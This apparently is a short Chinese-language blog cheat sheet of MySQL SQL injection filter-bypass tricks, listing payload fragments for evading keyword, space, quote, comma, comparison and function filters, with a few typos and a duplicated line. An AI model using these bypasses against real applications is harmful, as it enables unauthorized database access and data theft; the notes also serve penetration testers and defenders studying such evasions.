SQL 注入绕过
关键字绕过
常规绕过
⼤⼩写绕过 SeLEcT
双写绕过 selselectect
字符串:
16进制
函数拼接
char()
空格绕过:
- /**/ , /1/, %0a, %0d, %09
- 使用括号
1
union(select(xxx)from(xxx)where(xxx)=xxx)
- 使用内联注入:
/!select//!id//!from//!user/
引号绕过:
- 16进制绕过:
select * from xxx where name = 0x757365 - 弱类型⽐较:
select ‘1abc’=1
逗号绕过:
对于substr和mid函数使⽤from to绕过:
select substr(database() from 1 for 1)联合查询使⽤join:
union select * from (select 1)a join (select 2)b使⽤like,原来的mid(user(), 1, 1)=xxx可以替换为:
user() like ‘r%’- limit可以使⽤offset绕过:
select * from xxx limit 1 offset 0
- limit可以使⽤offset绕过:
⽐较符号绕过:
使⽤greatest, least函数,前者返回最⼤值,后者返回最⼩值:
least(xxx, 64)=64 # xxx>=64between and:
xxx between 1 and 1 # xxx=1like,rlike,regexp:
xxx like 2 # xxx=2
xxx rlike ‘1’ # xxx=1
xxx regexp ‘^1$’ # xxx=1= <三者互相代替
<>等价于!=
逻辑⽐较绕过:
and使⽤&&代替
or使⽤||代替
xor使⽤|代替
not使⽤!代替
注释绕过:
等价函数替换:
hex, bin <=> ascii
sleep <=> benchmark
concat_ws <=> group_concat
mid, substr <=> substring
@@user <=> user()
@@database <=> database()
left(xxx, 1)代替字符串截断,还有right
过滤 or and xor not 绕过:
and = &&
or = ||
xor = |
not = !
过滤 等号= 绕过
like:不加通配符的like执行的效果和=一致,所以可以用来绕过
regwxp:MYSQL中使用REGEXP操作符来进行正则表达式匹配
过滤函数绕过:
sleep() –> benchmark()
substr() –> substring()/mid()
substr() –> left(right())
right(left(‘abcd’,2),1) –> substr(“abcd”2,1)
ascii() –> ord()
Author: 哒琳
Permalink: http://blog.jieis.cn/2022/f1b1c6c3-dd6f-43c9-a950-d65aaa07e8a7.html
Comments